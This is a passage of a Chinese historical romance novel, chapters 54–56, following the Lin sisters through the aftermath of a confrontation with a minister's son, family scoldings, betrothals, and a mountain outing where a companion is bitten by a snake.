青衫公子却没走,他不舍的望了林诗意手中的书一眼才道:“这本应该是三石先生的著作,三石先生游览名山大川,生前也只写了这么一本游记,可惜流传后世的不多,” 林诗意 点点头,不自觉的翻看起来,发现这本书的内容果然不俗,作者以非常诙谐直白的语气描写所见所闻,且每到一处竟还有配图。 林诗意很满意,抬眸时却发现这人还没走。 她觉得这人应该是很想要这本书的,歪着头道:“公子也想要这本书?” 青衫公子看看书本又看看林诗意,也不知是不舍得让出这本书,还是不舍得看书的人。 他鼓起勇气,结结巴巴道:“不若姑娘先看着,待姑娘看完再借给魏某一观,可,可否?” 魏承泽怕林诗意误会自己,又急忙解释道:“我,我不是坏人,家父是礼部侍郎魏鸿,书局掌柜可以作证的,姑娘,姑娘别怕,” 林诗意看着面前人结结巴巴解释的模样噗嗤一声笑了出来,她前几日还在长公主的庄子上同魏静儿一同投壶来着,“你就是静儿口中那个一心钻进书窝里的二哥啊,听说你睡觉都抱着书本,可是真的?” 说到这林诗意就不愿多说了,林诗芸也猜的到,自然就是二人约定了什么,三姐姐先看完再给那个魏公子看喽。 啧啧,三姐姐的春天也来了啊。 第54章 同林诗芸分别后的宋晏直接沉着一张脸便去了京兆尹。 彼时京兆尹正看着谢二送来的几个流氓愁的头疼呢。 结果他还未说要怎么处理,端王世子便来了。 京兆尹是不敢惹这位的,毕竟人家是皇帝的亲侄子,天潢贵胄,皇帝极尽宠爱。 宋晏也不废话,直接告知这几人教给他了,叫京兆尹该干啥干啥去。 京兆尹索性直接走了,反正这群小流氓确实欠收拾。 宋晏一边挨个给上刑一边思索如何惩治谢二。 罢了,看在谢相的面子上,叫他自己看着办吧,谢相一世英名啊,一张老脸全被这二儿子给丢光了。 这边厢姐俩很快便到了悦味轩。 女掌柜一见林诗芸,忙亲自招待。 “姑娘可算来了,奴家可是盼了姑娘多日了,哎吆,这位是姑娘的姐妹吧,果然是一家人啊,姐妹俩都跟朵花似的好看。” 林诗芸笑着道:“掌柜您可太会说了,麻烦您安排个雅间,再上几道特色菜,我和姐姐今日便在您这用午膳了,” 女掌柜笑着点头,“今日刚好做了三套鸭,二位姑娘可有口福了。” 林诗芸笑的更开心了,她已经饿的前胸贴后背,忙催促女掌柜赶紧上菜,便同林诗意坐到了雅间内继续聊天。 “什么?那狗东西要将你卖进妓院?” 林诗芸抿着嘴摇头道:“不是妓院,是下等的窑子。” 林诗意气的一拍桌子便要走,“不行,这事得去找爹爹和二叔,狗东西该直接杖毙!” 林诗芸忙将姐姐拉回来,“三姐姐,求你了,叫我先吃几口饭,咱们下半晌回府再去找爹爹和大伯他们行不行,再说那流氓手脚都被我给废了,一群人都送进官府了,我现在好饿啊,想吃东西。” 林诗意看林诗芸饿的这个惨样,点点头吩咐听雨去打水给林诗芸洗手,“快去,将手洗干净!多洗几遍!” 林诗芸乖乖的去了,边洗边叨叨:“哼,待爹爹下值我定是要去告状的,谢二那个狗东西纵人行凶,我定要叫爹爹找了他谢府门上去!” 林诗意点头,找!必须找!真当咱们侯府是纸糊的吗! 姐妹二人午膳用的极好,尤其是那道三套鸭,女掌柜亲自指导了她们吃法,由外到内,一层一层品尝。 三套鸭是由野鸭套家鸭,家鸭套鸽子,在鸽子里又塞了竹笋火腿等上锅蒸制而成的,堪称淮扬菜之首,汤鲜肉美。 它每一层都有着属于各自食材本身的香味,又和下一层食材相互融合,汤汁鲜香,喝完汤再吃肉,一口鸭肉吃下去,别提多舒服了。 姐妹二人吃的心满意足,下午便去了戏园听戏,眼看时辰不早了,便回了府。 : 姐妹二人商议好的,今日府上长辈必须出头,这事往小了说是林诗芸差点被调戏了,但是要往大了说,他谢二那是帮着一伙子人欺男霸女欺压百姓,搜刮民脂民膏啊! 这还了得!再不给谢二点教训,这孩子要完!林诗芸这是在救他! 于是,姐妹二人掐着时间回了府。 大门处姐妹二人有一搭没一搭的说着话,在看到林父回来的时候,林诗意忙拿起帕子沾水往林诗芸脸上摸,姐妹二人便抽抽噎噎的下了马车。 林诗芸一声爹爹给林怀诚吓了一跳,抬眼便见小女儿哭着跑来了。 林怀诚吓坏了,不是,谁欺负老子女儿了! “乖宝这是出了何事?怎生哭成这个样子?” 林诗芸哭得抽抽噎噎上气不接下气,林诗意在一旁气愤道:“二叔,今日妹妹去吃面,碰到有人收保护费,妹妹劝解那人不听,还说要将妹妹卖进窑子,我们都吓坏了!” 林怀诚被气到青筋暴起,“谁!谁!他妈的卖我女儿!谁敢卖我女儿!” 林怀诚忙去打量小女儿,见林诗芸无事这才放下了心,林诗芸知道亲爹肯定担心自己呢,忙捂着嘴巴小声道:“爹爹,我无事,女儿来找您出气来了。” 言罢她朝林父眨眨眼,大声哭道:“爹爹,那人叫谢相二公子姐夫!” 林怀诚看到女儿无事便放下了心,知道女儿这是使坏呢,但这事定是真的,不然女儿不会如此! 他十分配合,本来也是被气到了,敢调戏他女儿!林父怒气冲冲,“好他个谢二!胆大包天!爹爹一定为乖宝讨回公道!” “乖宝回府休息!爹去相府!爹倒要看看他谢二要将我女儿卖到哪里去!” 林父转身又遇到了定安侯的马车,于是,一个变俩,定安侯抄起家伙就走! 原先还说两家联姻,他谢府倒好!还调戏起我们家闺女了!还说要给卖到哪那等下作之地?什么玩意! 姐妹俩得意的对了个眼神,转身回去休息了。 林父也不是个糊涂的,边走边差人去了解今日之事,待他们到了谢相府附近,下人也回来了。 这没听事情经过,林父和定安侯还以为林诗芸姐妹俩夸大其词了,天子脚下调戏贵女?哪家胆大包天的敢这么干? 结果二人听了下人说完,那脸色是越来越黑啊! 那人不仅调戏他们家闺女,还收保护费!一个小小妾室的表兄弟就能如此大胆!这还了得! 这是他们这一会子时间便查出来的事情,这些人做的坏事只怕更多啊! 岂有此理! 兄弟俩一张脸比一张脸黑的冲进了相府。 谢相府上谢二痛苦的哀嚎一直到了深夜,林家兄弟两个揍人揍了个痛快,转身又去了衙门。 这大半夜的,差点给人京兆尹愁死! 他堂堂三品大员,白日里先是端王世子过来发疯,将犯人差点没玩死,这大半夜的,定安侯府呼啦啦来了两辈人,定安侯兄弟加上林景行三兄弟也气冲冲的跟来了,他有些担心这几个犯人见不到明日太阳怎么办,罪不至死啊! 这边厢林诗芸正老实的站好挨训呢。 无它,姚氏母女回来了。 待了解完事情始末,给姚氏差点气晕倒,“你说你一个侯府千金!去吃面就吃面,你竟然一个下人都不带?你,你要出点什么事,你叫爹娘如何?” “偷偷学了点拳脚你就敢路见不平拔刀相助了?得亏那伙人都是假把式!一旦碰上手脚厉害的,人家打死你你都只能受着!” 姚氏气到来回踱步拍桌子,得到消息的叶姨娘挺着大肚子也过来了,叶姨娘一句话也不说,就是扯着林诗芸的手掉眼泪。 林诗芸这才怕了。 她扑通一声跪在地上,眼泪啪嗒啪嗒掉了下来,“母亲 ,姨娘,今日是芸儿太过任性了,芸儿再也不敢了,” 林诗芸伸出了双手,抽了抽鼻子道:“母亲您打吧,是芸儿不对,芸儿不疼。” 叶姨娘哭着别过脸去,该打! 姚氏看着跪在地上的小女儿,又心疼又气闷,伸手拿过桌上的戒尺,直接一个用力打到林诗芸的手心上。 “母亲今日打你,是气你不拿自己的安危放在心上!你若还是个有良心的,以后便不可再叫下人离开,只身犯险,别说去吃一碗面!在便是几米的距离也不行!你可明白!” 姚氏这一下是用了大力的,林诗芸掌心火辣辣的疼,眼泪无声掉落,她忍着疼回到,“芸儿明白,母亲别生气,芸儿再也不敢了。” 姚氏看着这个她从七岁养到如今的小女儿,虽说心中有气,可再也打不下去了。 王妈抹着眼泪扶她坐下,姚氏叹了口气,头疼的厉害,她叫叶姨娘也坐下,看着林诗芸道:“母亲知你这几日因着你大姐二姐订亲心里不舒服,可这男大当婚女大当嫁,女子总是要嫁人的,那是你姐姐,她们终有一天会离开你,而你,我的儿啊,你终有一天也会嫁出去离开这个家啊!” 林诗芸眼泪簌簌的掉落,是了,她也到了嫁人的年纪了…… 姚氏声音里已经带了哭腔,她轻舒口气,继续道:“你以后万不可再如此任性,你同人打了一架,心里是舒服了,你万一出了事情,叫我们做父母的怎么办,叫你姨娘怎么办!如今她拖着六七个月的肚子焦急忙慌的过来,你心里便好受了?儿啊,你自小便是个懂事的,母亲一直希望你肆意成长,可这肆意,不是叫你任性而为!” 林诗芸知道,母亲不是怀疑她自保的能力,母亲是怕出现万一…… 于是这一晚,林诗芸哭成了个傻子。 叶姨娘同陈妈妈摸着眼泪相互扶持着依依不舍的离开了,林诗芸被林诗情给带回了院子。 林诗情红着眼睛给妹妹上药。 最近是她不对,光顾着表哥了,竟然忽略了妹妹的心情。 易地而处,若是妹妹突然间订婚并且不关心自己,她心里也会不舒服的。 其实妹妹做的已经很好了。 她觉得林诗芸很勇敢。 她敢打架,敢去维护弱者,敢于直面问题,她甚至不惧怕流言,将这一事在府门口大大咧咧说了出来,叫爹爹和大伯去维护。 是的,多少女子因为受到了不公平的待遇,因为惧怕将这些忍下。 可是受害者有什么错呢? 错的不是加害者吗? 就因为她们是女子便要将事情隐瞒下来吗?她们又没有错! 妹妹将那群人揍趴下了!妹妹不光保护了自己,还保护了面馆的老板。 她的妹妹很厉害。 妹妹是个女英雄! 可作为家人,她也气妹妹没有拿自己的安全当回事…… 林诗芸见姐姐只低着头不说话,心里有些慌。 小心翼翼的看了姐姐一眼,支支吾吾道:“姐姐别生气好不好,芸儿再也不敢了。” 林诗情摇摇头,“疼吗?芸儿别怪母亲,母亲也是担心你。” 林诗芸忙摇头,“芸儿不怪母亲的,是我自己太过任性了,姐姐别担心,芸儿不疼。” 林诗情擦点眼泪,看着妹妹哭的红肿的双眼,揉了揉妹妹的头道:“是姐姐不好,这几日心思都在婚事上,冷落芸儿了,芸儿不生气好不好?” 林诗芸忙摇头,眼撅着嘴道,“姐姐很好,是芸儿任性了,姐姐喜欢表哥,芸儿以后不嫌弃表哥了。” 林诗情听着这孩子气的话,无奈道:“姐姐永远都是你姐姐,即使同表哥成了亲,也还是芸儿的姐姐,这一点不会变的,姐姐最疼芸儿了,芸儿不必担心表哥会抢走姐姐好不好?” 林诗芸点着头抱住了姐姐的腰,哼哼唧唧道肚子好饿,饿的都没有力气说话了。 林诗情自然知道她晚上未用膳,挥挥手便叫丫鬟将准备的饭食端了上来。 林诗芸看着桌子上的面,只觉得手也不疼了,嘴上说着谢谢姐姐,手赶紧去拿筷子。 还是姐姐懂她,她今日可太想吃这口面了! 这顿算是夜宵了,姐妹俩吃完已是深夜,林诗芸依依不舍的回了自己院子便躺下了。 其实她心里还是有些失落的。 姐姐嫁了人,就不会是最疼她的姐姐了,姐姐有丈夫,还会有孩子。 而她,有一天也会嫁做人妇。 林诗芸晃了晃脑袋,手心还微微肿着,带着些许的疼痛,她翻了个身,很快便睡过去了。 或许这便是长大吧,亲人还在,但也会离开。 她也是。 第55章 翌日城门刚开,便见谢相府上驶出一辆低调的马车,一夜之间老了十岁的谢相夫妻红着眼睛送走了儿子。 他们是真没想到这逆子能如此大胆,平日里小打小闹也就罢了,如今竟还敢包庇流氓,收保护费,连官家小姐也敢调戏! 他谢正阳为官二十余载,一辈子为国为民,可到头来一世英名竟然毁在了儿子身上…… 他没脸啊!知犯犯法!他愧对百姓啊! 这事情的最后,便是谢二被送走,谢相被参,小流氓被判流放,林诗芸挨打结束。 谢二看着硬要同他一起回老家看守祖坟的妾室有些动容,他确实是因着她罩着他表弟,他睁一只眼闭一只眼,只因为那是她世上最后的亲人。 而现在,三娘子却挺着肚子义无反顾的跟着自己走了…… 这叫有得有失吗? 是他错了,若是他一开始便制止了那些人的恶行,何至于此呢? 三娘子摸了摸肚子,靠在了谢二肩头,“是妾连累了您,您不怪妾,还同意妾留下,妾,妾,” 谢二叹了口气,“什么连累不连累的,终是我太张狂了,做了许多错事,如今算是报应,只是,只是苦了你,你大着肚子跟我,这一路风餐露宿的……” 家乡远在江南,一路必然舟车劳顿,哪里有京中锦衣玉食的舒服呢。 三娘怀了他的孩子,只要她生下孩子,老实不作妖,必能在相府安稳一世的,她却执意跟他出来,谢二心中很是感动。 三娘子却笑道:“在您身边,妾和孩子才不会感到辛苦呢,听说南方温度适宜,冬日也不会那么冷,妾很是向往呢。” 虽然这一去就轻易不能回京,但她心中有数,相爷哪能真叫二爷吃苦受罪了,虽然不如京中锦衣玉食,却也不愁温饱的,她此时陪在二爷身边不离不弃,便足够给她的孩儿奔个前程出来。 这边二人在互诉衷肠,那边厢林诗芸刚一起床便见大姐姐大摇大摆的来了。 “吆,这不是咱们大英雄吗?听说昨日在外头除暴安良来着?啧啧,这是怎么一回事啊,一双眼睛红肿的跟鸡蛋似的,怎么?昨日被揍的狠了吧?” 林诗瑶昨日可是回来晚了,她接到消息的时候林诗芸已经挨了一波揍,林诗意好说歹说的才劝了大姐今日一早过来。 林诗瑶言罢便上了手,一下捏上了林诗芸柔嫩的小脸,手上也用了力道,“我看还是揍的轻了,叫我看得狠狠抽一顿再跪上两日祠堂才好,不然不长记性!当自己什么大英雄呢,要你去逞能!” 这嘴,夹枪带棒,毒的跟砒霜似的,林诗芸不敢惹,喊疼都不敢的,一整个龇牙咧嘴的由着大姐姐蹂躏。 不一会林诗意也来了,给林诗芸递了个你自求多福的表情,老实的在一旁喝茶看戏。 林诗情赶来的时候便见林诗芸已经被林诗瑶给训成了孙子,脸颊额头都红红的,分明是挨骂又挨揍的。 林诗情难得没去护着妹妹,只在一旁看着。 很好,又一次只有林诗芸受伤的世界达成了。 林诗芸这边好不容易从大姐姐手下逃脱,顶着三个姐姐的目光好不容易用完早膳,前院便有丫鬟来请林诗芸,说是谢相夫人带了礼物上门来道歉了。 一起来的还有谢静姝。 林诗芸朝大姐二姐讨好的笑笑便跑了,目前她还是不要被两个姐姐逮到的好。 跑,必须赶紧跑。 正厅内,谢相夫人上来拉着林诗芸的手,一个劲的道歉,直说是自己没教好儿子,倒是叫他险些酿成大错。 林诗芸从容不迫的听着,时不时还赞同的点点头,确实是他们夫妻没教育好儿子啊,这么说是应该的,她很赞同。 当姚氏看到后林诗芸的表情后便将人给撵了。 熊孩子不知道收敛一下表情! 姚氏头疼,叫她赶紧带谢静姝回自己院子说话。 林诗芸哦了一声,乖乖的带着谢静姝走了,二人边走边聊,林诗芸这才知道,谢二被谢相撵回了老家,并叫人严加看管起来的事情。 她并不意外,若是谢相再不管管这个儿子,谢二怕是要捅处更大的娄子来。 芳澜院内,林诗芸给谢静姝倒了杯茶,直言不讳道:“若是旁人,我可能只教训一顿便罢了,可那日看到是谢二,我故意同爹爹说的很惨,” 林诗芸看了谢静姝一眼继续道:“静姝姐听了可能会生气,但是我就是这样想的,谢相保护不了两个女儿,任由谢静茹以身犯险,别说什么家国大义惩恶扬善,那些我是不想听的,谢静茹的目的很简单,就是想保护你,而你们的爹,竟然眼睁睁的看她进龙潭虎穴,呵,反正我就是故意叫他没脸的。” 林诗芸撇着嘴,心说被人参他一本才好呢!女儿保护不了,连儿子也教育不好,活该! 谢静姝并未说什么,她扯了扯嘴角,轻轻点了点头,接着便从从怀里取出一封信来递给林诗芸。 “是茹儿寄给你的,” 林诗芸一听十分激动,忙不迭接过便要打开,只是被谢静姝给阻止了。 谢静姝笑道:“待我走了你再看吧,我还有件事要同你说的。” 林诗芸停下了手里得动作,好奇的看向谢静姝。 谢静姝静默了一瞬,直接道:“半月后我便要成亲了,成亲后我便同夫君一起去边城,你这几日可以多写些信,或者要给茹儿带什么东西,到时都一并交给我,我给带过去。” 林诗芸呆住了,反应过来之后便问:“静姝姐你要嫁何人?去边城?怎么也要去边城?” 谢静姝淡笑着解释:“我是嫁给近日回京的驻边将军做继室,成了亲他便要回去驻边了。” 林诗芸张了张嘴,最后什么都没说出来。 那位近日返京的将军她有所耳闻,今年三十岁,克死了三个老婆,三个老婆给他生了三个孩子…… 谢静姝之后的路得多难啊,她竟为了同妹妹在一起能做到这般,叫她实在震撼…… 目送谢静姝离开的背影,林诗芸忽然便有些释然了,害,这么说的话,二姐姐嫁给表哥确实也还不错,至少二姐姐不会受什么委屈,她们想见面便能见到。 至于生孩子那事也是概率问题,她再怎么担心都没用。 罢了罢了,她不生气了。 只是最近林诗芸的日子实在不好过,每日父亲母亲姐姐姨娘几个哥哥轮番教训,连陈妈妈这两日也是每日也要来盯着她哭半晌的,给她快要整抑郁了。 直到三日后国公府来下定,众人的心思都转移到了林诗情身上,林诗芸的才轻舒口气。 二姐姐下定这日,那场面比大姐姐那日还要热闹。 姚君远带着家中几个兄弟,骑着高头大马意气风发的往定安侯府去。 身后是同样58担红绸聘礼,前后各有两个小厮抬着筐撒着喜钱,每个下人皆是一身新衣,笑容真挚的抬着聘礼跟在后面。 姚君远呲着个大牙傻乐,从前那个玩世不恭的姚国公世子仿佛被夺了舍,哪有一点从前风流世子的模样。 想叫他们家低调? 那是不可能的,他姚君远一辈子就娶一回媳妇儿,好不容易盼到今日下定,低调是不可能低调的。 估计成亲那日绝对比今日还要盛大,毕竟一个是国公府一个是侯府,两家高门联姻,那场面定是不可能小了的。 林诗芸在厅后看到乐的跟傻子似的姚君远便开始撅嘴,想嘲讽两句又被林诗瑶给瞪了一眼之后才老实了。 林诗情今日打扮的极美,身着蜜色长裙,面上化着精致的妆,举手投足皆是温婉大方,楚楚动人。 本就不是外人,林诗芸和姚君远两个准未婚夫妻被姚氏赶去后堂说话。 只是也不知沈三是怎么混进来的,正当大家其乐融融之时,他却突然闯了进来。 幸好林诗情不在。 林景行眼疾手快,在这人尚未开口之时便将人给直接拉走了。 沈三面容激动,他才接到两家订亲的消息,便匆匆赶来了,张嘴想说什么却被林景行一个大力给按住了。 林景行面容严肃,眼神狠厉,“沈三公子,这是我妹妹的定亲宴,若是你想毁了她!你便张嘴!” 沈三张了张嘴,他知道自己今日莽撞了,但是…… 是了,没有但是,一切都晚了,他终是低下头闭了嘴。 林景行将他拉到院外,直接将他请了出去,沈三却道:“景行兄,我想再见诗情妹妹一面,求你帮我!” 林景行冷笑,“你自己干的好事还想叫我妹妹再见你!沈三!你算个什么东西,当年说走就走!如今回来了又说心悦我妹妹,真是可笑!府上有个表妹卿卿我我还不够,还想染指旁人?你算哪根葱!” 林景行气到骂人,也不打算给沈三面子,转头直接对身旁的小厮道:“立刻马上将这位公子给带出去!叫所有门房都给我看好了,以后沈三和狗,不准入府!” 沈三张了张嘴,却被两名护卫给直接挡住了。 阿大抱拳,“公子还是走吧,若是被二爷知道您要见二姑娘,沈家同定安侯府两家的交情怕是完了。” 沈三终是自嘲一笑,点头转身离开了。 沈三真的不明白,他真的不明白自己到底做错了什么! 他离家游学有何错之有啊? 错在他的信诗情妹妹没收到吗? 可是他解释了啊!诗情妹妹不听啊! 难道怪他照顾表妹? 可表妹身在沈家孤身一人,他身为表哥,多照拂一些又何错之有? 他没有办法怪表妹拿走了他的信,他知道表妹心悦于他,可是,他只拿表妹做亲人啊! 那是他的亲人! 诗情妹妹怎么就不懂他呢! 怎么就没人懂他呢! 沈三有些失魂落魄的走了,他怎么想都想不明白他错在了哪里。 可是当他回到沈府却看到了正在抹着眼泪的母亲,沈母见儿子回来便道:“你表妹觉得对不住你,今日一早便收拾行礼离开了,母亲,母亲想到你表妹回去便要被继母刁难,心中难过,儿啊,你,” 沈母叹了口气,却又实在说不出叫儿子将婉婉接回来的话。 沈三却是半晌后自嘲一笑,回了自己院子。 几只蝉跟说好了似的,他一凑近便知了知了的叫了起来,像是嘲讽,又像是警醒。 翌日便听说沈太傅家那位如清风明月般的三公子又走了,走的匆忙,未谈归期。 而昨日林景行见过沈三后,便嘱咐下人将沈三来过一事给瞒了下来,所以,林诗情并不知她订亲这日沈三来了,还差点搅了她的订婚宴。 可即使她知道了也没什么的,大概她会一笑而过,嘟囔一句妹妹嘴里的大猪蹄子罢了,不值一提。 第56章 已入盛夏,日头照的人心里发慌。 难得林诗芸被热的没了胃口,只蔫蔫的躺在榻上,旁边是一个巨大的冰鉴。 昨日是林诗意的及笄礼,她作为唯一 的妹妹,身为赞者,一大早便起来忙活开了。 那一层一层的厚重礼服,她觉得昨日应该躺了三斤汗。 于是今日林诗芸说什么也不起来,穿着轻薄的纱衣躺在榻上对着冰鉴,左手边是冰镇水果,右手边是各色点心,她小口小口的吃着,感叹着日子还得这样过,舒坦啊。 值得一提的是,昨日林诗意的及笄礼办的盛大。 在这里解释一下,及笄礼这日同生辰可能并不是同一日,父母会挑黄道吉日来给女儿行及笄之礼。 有两位姐姐珠玉在前,林诗意的及笄礼自然也不会简陋。 尤其是来参加的宾客,都是上赶着来凑热闹的。 定安侯府的姑娘貌美,这是众所周知的事情,前头两位姑娘的亲事不仅定的极好,未婚夫婿还都保证不纳妾,这点上就叫不少有女儿的人家羡慕。 谁家女儿不是娇宠着了,自然都想叫女儿嫁个好夫婿,她们倒要看看这定安侯府是怎么养的闺女,值得忠勇侯府和国公府下这么大的本。 有些妇人则是来相看的。 就像是礼部侍郎家的夫人,她家那傻儿子想人家姑娘想的茶不思饭不想的,她不得来看看啊。 她倒是常听女儿夸赞林家三姑娘的,今日一见,果然惊艳,难怪傻儿子喜欢。 她敛下神色,准备回去同丈夫商量商量,还得早些时候来提亲的好,不然这么好的姑娘,被别家抢走了怎么办? 当然了,看上林诗意的不止这一家,一家女百家求,自然还得挑挑拣拣一些。 定安侯摸摸胡子,不管旁人的心思,对于小女儿的婚事,他有他自己的节奏。 前头两位姐姐及笄时,林诗芸都是老实的躲在人群后面观礼,昨日头一次做赞者,还蛮新鲜的,待到秋日便是她自己及笄礼,幸好那时候不热,不然这繁琐的流程厚重的礼服,她怕是要闹的。 待晚些时候林父叫王妈妈通知林诗芸明日一早出门游玩的时候,林诗芸是真的要疯了。 不是,爹啊,亲爹啊!谁家六月天出去玩啊! 可惜了,林诗芸抗议无效,第二日一早还是被丫鬟婆子给从床上给挖起来了。 今日林老爹休沐,特地带了心情不好的小女儿同天真活泼的小儿子出来踏青。 林诗芸一整个的苦不堪言。 大清早的便被人从床上挖了起来塞进马车,迷迷糊糊睡了一路,这一睁眼好家伙到荒郊野外了! 林诗芸心里怀疑渣爹要卖了她,但是她木有证据! 马车外倒是欢声笑语的。 早晨烈日并未当空,小风一吹也不觉得热,林父带着小儿子同乘一匹马,父慈子孝的,欢乐的很。 林诗芸翻个白眼,听雨适时的塞了杯浓茶给她灌下肚子,好了,这下彻底清醒了。 闲来无事林诗芸挑起床幔来看外头的景色。 已是六月下旬,放眼望去田地里虽还有劳作的农人,却已经不是一片金黄的模样了。 林诗芸也分不清种的农作物都是什么,只是觉得外头的景色不错,还有淡淡的凉风吹来,叫她舒服的直接趴在窗幔上。 她不知爹爹为何带她出来,估摸着是她看最近又是惹事又是心情低落的,带她出来散心来了。 刚出来的那点怨言因为此时的凉风拂面和天高地阔消失殆尽,出来都出来了,那便好好玩玩呗。 于是她大声朝林父嚷嚷道要骑马。 林父看女儿醒了,自然应允。 林诗芸骑马的功夫极好,帅气的翻身上马,几息便将便宜爹和弟弟甩在后面。 林景闲在后头嚷嚷着爹爹加速超过四姐姐,林诗芸顿时来了劲,将二人甩的更远了。 老父亲在后头无奈大声道:“乖宝慢一些,注意安全啊!” 林诗芸挥了挥马鞭,哼,赛马吗,咱没带怕的。 一行人很快便到了山脚,林诗芸以为父亲会叫众人停下扎营呢,没想到一行人继续往上走。 叫林诗芸觉得稀奇的是,还真恰好就有那么一条路能供他们的马车上去。 林诗芸看着周围的绿意盎然,感受着山中的清凉,心里那最后一点郁闷也都没有了。 他们最后在一处竹屋附近停下。 此处风景甚好,前方是一条顺流而下的溪流,溪水清浅平缓,一眼便能看到里头热闹的小鱼小虾。 小弟激动的攥着父亲的衣摆,明显对下水抓鱼已经迫不及待了。 林父拍拍儿子的头叫他稍安勿躁,一会有他玩的时候。 林诗芸对抓鱼没什么兴趣,她倒是看着旁边的竹林两眼放光。 有竹子是不是就有竹笋?哎呀,这不是等着她来吃的吗! 林父叫人安营扎寨,竹屋明显久未有人住,他们也懒得进去,索性在竹屋门前扎帐篷。 林诗芸看着前头的大山,对林父道:“爹爹,您叫几个人去打猎呗,咱们午膳烤来吃啊。” 护卫两眼冒光,林父正有此意,随手指了三人便上了山。 林诗芸顺势提出自己要去挖竹笋,听雨还不知从哪拿出来个篮子,给林诗芸看的眉开眼笑的。 这装备,果然齐全啊!还得是她的人! 林父询问了林诗芸有没有带香囊,又叮嘱了几句便允了。 此处没什么大型野物,但是竹林有蛇,听女儿说身上带了特质的香囊这才放心叫闺女玩去了,闺女带了护卫,离得也不远,自然没什么不放心的。 林诗芸身旁是听雨,身后是三个高大的护卫,便开始了在竹林的寻笋之旅。 只是她走了一段路了,咋一个竹笋没看到? 听雨一拍脑袋,啊了一声道:“是不是春天才有竹笋啊,夏天没有?” 林诗芸也啊了一声,想想又摇摇头,“你忘了前日大厨房还做了?竹笋炒的腊肉,那笋子可甜了。” 身后叫陈一的护卫忽然指着竹林另一边道:“姑娘,咱们可以去那边看看,那里的竹子长得好像跟咱们这处的不一样,兴许有笋子。” 林诗芸点点头,瞬间来了赶紧,“走!我就不信了,这么大的竹林还没有笋子!” 结果当她们走进了,还真有。 只是不多罢了,得仔细找。 另一名护卫指着一个刚冒头的竹笋道:“我家附近有这种竹子,我们都叫麻竹,夏日里确实是能吃到笋子的,只是不多,像这种小的就不要了,没肉。” 他又指向另一处,“那个可以,太大就不行了,便老了。” 林诗芸笑着点点头,称赞道:“感谢科普,午膳你得多吃点啊!” 护卫不好意思的挠挠头,众人开始找笋子。 林诗芸和芸儿一起,陈一在前头开路,另两个护卫则在附近不远不近的跟着一起找。 这笋子不用挖,用手使劲一掰就下来了,林诗芸倒是有些上瘾了,完全不觉得累。 只是忽然一阵吵嚷声传来,还夹杂着几声女声的抽泣,三名护卫瞬间便挡在了林诗芸身前将人保护了起来。 只见几个人从竹林深处走来,其中一人被另一人背在身上,这人脸色苍白,腿脚处有明显的咬痕,周边血迹乌黑,明显是中了毒。 待走进了林诗芸这才看清,背着人的不是孟云上是谁!而她身后跟着的抽抽噎噎的女子,正是大郡主宋宝珠。 林诗芸下意识唤了一声,“孟大哥!” 护卫见林诗芸认识,便让开了路。 林诗芸小跑过去便 直接皱着眉问道:“被蛇咬了?毒蛇?” 孟云上面色凝重,重重点头。 林诗芸问道身旁的陈一,“可有带解毒丸?” 陈一也知道救人要紧,点头后便从身上取出药丸来塞进那人嘴里。 林诗芸对孟云上道:“这是我们出门时带的解毒丸,对付一般的毒蛇都没什么问题。” 救人要紧,她也不等孟云上回话便又看向陈一,只听正帮着查看伤势的陈一道,“这蛇毒性较大,虽说第一时间挤出来毒血,但是残留的毒液毒性还是较强。” 言罢他从怀里取出几根银针道:“我从小跟着师傅只学了皮毛,现在只能暂时将他腿上的穴位封住,不叫此处毒液流动,” “只是,这也只是暂时的,加上刚才喂他服用的解毒丹,可保他两个时辰内性命无逾,若是想救他的命,还得找京中的几位有名的大夫来才行。” 宋宝珠一屁股便坐到地上了,是她闹着要进竹林的!但是她没想到会真的有毒蛇!还叫他们撞上了! 林诗芸叹了口气,知道这人出事肯定于宋宝珠有关,忙蹲下身子将人扶起,她想到附近有大公主庄子,便问道:“郡主姐姐,你先别急着哭,咱们救人要紧对不对,你先想想你们庄子上医者可能救治此人?大公主的御用医者,应该不是等闲之辈吧?” 宋宝珠忙不迭点头,“有,庄子上有大夫的,” 林诗芸这才松了口气,看着面色严峻的孟云上道:“孟大哥,事不宜迟,前头有马车,你赶快带这位大哥去长公主的庄子,那里有大夫,若是直接进城,这快马加鞭也得一个多时辰,我怕……” 后头林诗芸没说,但是孟云上听懂了,他点点头,深深的看了她一眼道了谢,抬腿便走。 林诗芸知道她救人心切,叫陈一赶快跟上,“你跟着一块去,到那看看能帮下一把是一把,路上也照顾着,叫车夫赶快些。” 陈一点头,立马跟上。 宋宝珠立马也跟了上去,林诗芸知道这位心里肯定正难过呢,拉住她忙道,“姐姐的护卫呢?叫他们护送姐姐回去。” 宋宝珠抿着嘴不吭声,林诗芸叹了口气,得了,比她胆大多了,自己偷跑上山! 她看着前头越走越远的孟云上等人道,“我陪姐姐回去吧,顺便向长公主解释几句。” 听雨一听那不行啊,姑娘好不容易出来一次,还没玩什么呢,忙道:“姑娘,还是奴婢陪郡主下山吧,二爷还在呢,姑娘走了不好。” 林诗芸想了想便点头,她去也帮不上什么,听雨陪着郡主也是一样的。 听雨忙搀着早已迫不及待的宋宝珠走了。 离的很远宋晏便看到了定安侯府的马车。 他一身白衣胜雪,黑发高竖骑在马上,微微眯了眯眼。 怎得刚上去就下来了?难道芸儿出了事? 宋晏快马上前横亘在山路中央。 赶车的马夫自是认识宋晏的,忙将马车停了下来。 旁边的陈一也抱拳行礼。 宋晏眉心紧皱询问道可是出了事情。 车厢内的宋宝珠一听是表哥的声音,急忙将头伸出车窗外,“表哥表哥!是我!” 宋晏的眉头皱的就更紧了,他看过去,车厢内除了大表妹,竟然还有那个姓孟的小校尉和一个明显晕过去的男子。 宋宝珠焦急道:“表哥,这里有人中了蛇毒,怎么啊表哥。” 因为是宋宝珠闯的祸事,她见到亲人就更想哭了。 宋晏眼神落到那人身上,只见那人虽是晕了过去,但明显神情痛苦,再看小腿处的伤痕,是中了蛇毒。 只听陈一抱拳道:“世子殿下,这位兄弟在竹林中被蛇咬到了,刚才我家四姑娘命属下帮忙喂了解毒丹并封住了穴位,只是这伤须得两个时辰内进行救治。” 言外之意,时间不等人,还请殿下让路。 陈一不卑不亢,说话谦卑有礼,虽话里有话,但宋晏并未生气。 倒是孟云上,黑沉着一张脸,嘴巴动了动,明显是非常焦急。 宋晏并未觉得逾越,他点了点头,看到孟云上的黑脸也不甚在意。 他见宋宝珠还在抽噎抹泪,也猜出了这事同表妹有关,朝伸手招了招手道:“你回庄子,叫老冯去一趟长公主那儿。” 